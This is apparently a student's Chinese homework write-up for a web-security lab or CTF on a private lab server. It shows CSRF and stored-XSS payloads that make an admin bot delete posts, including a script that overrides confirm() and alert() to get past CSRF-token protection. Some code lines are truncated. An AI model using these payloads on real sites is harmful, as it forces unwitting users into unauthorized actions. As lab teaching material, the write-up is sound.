Homework 2

第一题

经过观察，删除帖子的请求为：

```
GET http://10.10.17.36:33026/api.php?id=1&action=delete
```

经过转义和拼接，进行　下请求：

```
GET http://10.10.17.36:33026/admin.php?url=http%3A%2F%2F10.10.17.36%3A33026%2Fapi.ph
```

访问后帖子删除，题目完成。

这告诉我们 GET 请求是容易受到 CSRF 攻击的。

第二题

经过观察，删除帖子的请求为：

```
POST http://10.10.17.36:33028/api.php
```

POST 请求不能简单地通过 `onerror` 来执行，需要通过 JavaScript 来执行。

开始寻找 XSS 注入点，观察到　下潜在的不安全代码：

```
<script>
document.getElementById('check-flag-btn').addEventlener('click', function() {
    fetch('api.php?action=check_flag')
        .then(response => response.json())
        .then(data => {
            const resultDiv = document.getElementById('flag-result');
            if (data.success) {
                resultDiv.innerHTML = `
                    <div style="color: green;">
                        ${data.message}<br>
                        Flag: <strong>${data.flag}</strong>
                    </div>
                `;
            } else if (data.error) {
                resultDiv.innerHTML = `<div style="color: red;">错误: ${data.error}<
```

```
            } else {
                resultDiv.innerHTML = `<div>${data.message}</div>`;
            }
        })
        .catch(error => {
            document.getElementById('flag-result').innerHTML =
                `<div style="color: red;">请求失败: ${error.message}</div>`;
        });
});
</script>
```

为了进行 XSS 注入，构造　下内容进行测试：

```
</div><img src="a" onerror="alert()" /><div>
```

alert() 框弹出成功，说明存在 XSS 注入点。

从页面上拷贝修改得到　下 Payload：

```
fetch("api.php", { method: "POST", headers: {"Content-Type": "application/x-www-form
```

嵌入后得到内容：

```
</div><img src="a" onerror='fetch("api.php", { method: "POST", headers: {"Content-Ty
```

访问 `http://10.10.17.36:33028/admin.php?url=http%3A%2F%2F10.10.17.36%3A33028` ，成功删除帖子。

第三题

打开网站，看起来没什么差别。经测试，XSS 漏洞依然存在。

尝试通过 XSS 漏洞进行 CSRF 攻击，发现使用上一题的 Payload 无法成功。

在 F12 中可以看到 Payload 代码被执行了，请求也被成功发送了，但是服务端返回了 403 Forbidden：

```
POST /api.php HTTP/1.1
Host: 10.10.17.36:33097
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 F
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.17.36:33097/index.php
```

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://10.10.17.36:33097
Connection: keep-alive
Cookie: GZCTF_Token=CfDJ8LPN96FAEz9Ejg8tINhpsVsKd4_tMLzJxFLHCDG6OIK4VBPKjF91bczFCo0(
Priority: u=4

id=1&action=delete



HTTP/1.1 403 Forbidden
Server: nginx/1.18.0
Date: Wed, 07 May 2025 10:47:10 GMT
Content-Type: application/json; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.22
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

{"error":"\u65e0\u6548\u7684CSRF token"}
```

观察网站前端代码，发现需要发送 CSRF token 用于验证：

```
<script>
    document.addEventlener('DOMContentLoaded', function() {
        const postsContainer = document.getElementById('posts-container');

        fetch('api.php')
            .then(response => response.json())
            .then(posts => {
                postsContainer.innerHTML = '';

                if (posts.length === 0) {
                    postsContainer.innerHTML = '<div class="post">暂无帖子</div>';
                    return;
                }

                posts.forEach(post => {
                    const postElement = document.createElement('div');
                    postElement.className = 'post';
                    postElement.innerHTML = `
                        <div>
                            <span class="author">作者: ${post.author || '匿名'}</span
                            <span class="post-id">(ID: ${post.id})</span>
                            <button class="delete-btn" data-id="${post.id}">删除</bu
                        </div>
```

```
                        <div class="content">${post.content || '无内容'}</div>
                    `;
                    postsContainer.appendChild(postElement);
                });

                // 添加删除按钮事件监听
                document.querySelectorAll('.delete-btn').forEach(btn => {
                    btn.addEventlener('click', function() {
                        const postId = this.getAttribute('data-id');
                        deletePost(postId);
                    });
                });
            })
            .catch(error => {
                console.error('获取帖子出错:', error);
                postsContainer.innerHTML = `
                    <div class="error">
                        加载帖子失败: ${error.message}<br>
                        请刷新页面重试或联系管理员。
                    </div>
                `;
            });

        // 删除帖子的函数
        function deletePost(postId) {
            if (!confirm('确定要删除这条帖子吗？')) return;

            fetch(`api.php`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: `id=${postId}&action=delete&csrf_token=a5e8f32bc68348d2f9ed746
            })
            .then(response => {
                if (!response.ok) {
                    throw new Error('删除失败');
                }
                return response.json();
            })
            .then(data => {
                alert('删除成功');
                location.reload(); // 刷新页面
            })
            .catch(error => {
                console.error('删除出错:', error);
                alert('删除失败: ' + error.message);
            });
        }
    });
</script>
```

立即想到，既然已经有 XSS 漏洞可以利用了，那只需要直接调用前端的 deletePost 函数即可。尝试构造 Payload：

```
b2 = alert;
alert = () => {};
st = setTimeout;
st(() => {
    b1 = confirm;
    confirm = () => true;
    alert = () => {};
    l = document.getElementsByClassName('delete-btn');
    l[l.length - 1].click();
    confirm = b1;
}, 1000);
st(() => {
    alert = b2;
}, 2000);
```

嵌入后得到内容：

```
</div><img src="x" onerror="b2=alert;alert=()=>{};st=setTimeout;st(()=>{b1=confirm;c
```

发布上述内容后访问 `http://10.10.17.36:33097/admin.php?url=http%3A%2F%2F10.10.17.36%3A33097` ，成功删除帖子。

第四题

打开网站，看起来没什么差别。经测试，XSS 漏洞依然存在。

尝试上一题的 Payload，发现直接成功了。